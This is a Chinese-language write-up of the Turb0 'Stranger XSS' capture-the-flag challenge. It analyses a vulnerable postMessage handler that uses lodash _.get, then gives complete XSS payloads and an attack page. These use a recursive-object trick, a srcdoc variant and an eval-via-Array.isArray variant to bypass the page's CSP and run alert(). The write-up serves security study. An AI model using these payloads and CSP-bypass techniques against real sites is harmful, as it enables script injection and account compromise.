利用递归对象属性破解Turb0 XSS挑战

本文详细介绍了如何通过递归对象属性及CSP绕过技术,成功解决Turb0 XSS挑战。文章深入分析了postMessage安全机制、对象属性赋值漏洞利用,并提供了完整的攻击向量构造方案。

挑战概述

挑战页面地址:https://www.turb0.one/pages/Challenge_Two:_Stranger_XSS.html
目标页面:https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html

页面加载了三个脚本:

1
2
3
<script src="lodash.min.js">
<script src="jquery-3.6.0.min.js">
<script src="inner.js">

其中前两个是常见库,第三个是自定义脚本。inner.js包含以下关键代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
const reHydrate = event => {
  const data = event.data;
  if (!data || typeof data !== "object") {
    log("Invalid message: not an object");
    return;
  }

  const { base, mappings } = data;
  if (!_.isObject(base) || !Array.isArray(mappings)) {
    log("Invalid payload structure: expected { base, mappings[] }");
    return;
  }

  for (const { from, to } of mappings) {
    const val = _.get(event, from);
    base.reqBody[to] = val;
  }
  return base;
}

window.addEventListener("message", event => {
  const hydrated = reHydrate(event);
  fetch('mockedfakeapi', {
    headers: {
      "Content-Type": "application/json"
    },
    method: 'POST',
    body: hydrated.reqBody
  })
}, false);

页面通过meta标签设置了CSP策略:

1
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval';">

关键发现

1. lodash的_.get方法

允许通过查询字符串访问对象属性:

1
2
var obj = {a: {b: {c: 1}}}
var value = _.get(obj, "a.b.c") // 返回1

2. fetch方法中的隐式toString调用

当fetch的body参数是对象时,会隐式调用其toString()方法,这为代码执行创造了可能:

1
2
var obj = {toString: ()=>{alert()}}
fetch("/",{method: "post",body: obj})

3. 赋值操作的XSS可能性

通过base.reqBody[to] = val赋值,可能触发XSS的途径包括:

  • 设置元素HTML:innerHTMLouterHTMLinsertAdjacentHTML
  • 设置事件属性:onclick
  • 导航操作:window.locationiframe.src
  • 设置iframe的srcdoc属性

CSP绕过策略

CSP有两个重要特性:

  1. 导航操作:浏览器检查发起导航的文档的CSP策略
  2. DOM渲染innerHTMLsrcdoc等操作在目标帧的上下文中执行,忽略调用者的CSP

这意味着我们需要在同源无CSP的窗口中使用innerHTML等DOM渲染方法。

攻击构造

初始尝试

创建包含两个iframe的攻击页面:

  1. 挑战页面(有CSP)
  2. 404页面(无CSP)

尝试通过原型污染访问HTMLBodyElement:

1
2
3
4
5
6
7
var payload = {
  base: {},
  mappings: [{
    from: "source.frames[1].document.body",
    to: "__proto__",  // 尝试通过原型链访问
  }],
}

但这会导致Illegal invocation错误,因为原型不是实例。

关键突破:递归对象

JavaScript允许递归对象结构:

1
2
var payload = {}
payload.reqBody = payload // 创建递归引用

利用这一特性构建最终攻击载荷:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
var payload = {
  base: {},
  mappings: [
    {
      from: "source.frames[1].document.body",  // 指向无CSP窗口的body元素
      to: "reqBody"  // 覆盖正在写入的属性
    },
    {
      from: "data.xss",  // 获取XSS载荷
      to: "innerHTML"  // 写入innerHTML
    }
  ],
  xss: "<img src=x onerror=alert(document.domain)>"
}
payload.base.reqBody = payload.base  // 创建递归引用

frames[0].postMessage(payload, "*")

攻击执行流程

  1. 第一个映射base.reqBody["reqBody"] = source.frames[1].document.body

    • 使base.reqBody指向无CSP窗口的body元素
  2. 第二个映射base.reqBody["innerHTML"] = "<img src=x onerror=alert(document.domain)>"

    • 此时base.reqBody已经是真实的DOM元素
    • 成功执行XSS

完整攻击页面

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<script>
  function run() {
    var payload = {
      base: {},
      mappings: [
        {
          from: "source.frames[1].document.body",
          to: "reqBody"
        }, {
          from: "data.xss",
          to: "innerHTML"
        }
      ],
      xss: "<img src=x onerror=alert(document.domain)>"
    }
    payload.base.reqBody = payload.base

    frames[0].postMessage(payload, "*")
  }
</script>
<iframe onload="run()" src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html"></iframe>
<iframe src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/ERROR.html"></iframe>

替代解法

使用srcdoc属性

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
var payload = {
  base: {},
  mappings: [
    {
      from: "source.frames[0].frames[0].frameElement",
      to: "reqBody"
    }, {
      from: "data.xss",
      to: "srcdoc"
    }
  ],
  xss: "<script>alert(document.domain)\u003c/script>"
}
payload.base.reqBody = payload.base

Turb0的修改版本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
var payload = {
  base: {},
  "mappings": [
    {
      "from": "target.Array",
      "to": "reqBody"
    }, {
      "from": "target.eval",
      "to": "isArray"
    }
  ]
}
payload.base.reqBody = payload.base

// 需要setTimeout避免fetch错误
setTimeout(() => frames[0].postMessage({
  base: {},
  mappings: 'alert(origin)'
}, '*'), 500)

总结

  1. 递归对象技术:通过创建递归引用的对象,可以覆盖正在写入的属性本身
  2. CSP绕过:通过在同源无CSP的窗口中执行DOM操作,成功绕过CSP限制
  3. postMessage安全:展示了postMessage API的安全风险,需要谨慎处理传入的数据结构

这种攻击方式展示了Web安全中一些不常见但危险的攻击向量,特别是当多个看似无害的功能组合在一起时可能产生的严重安全漏洞。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计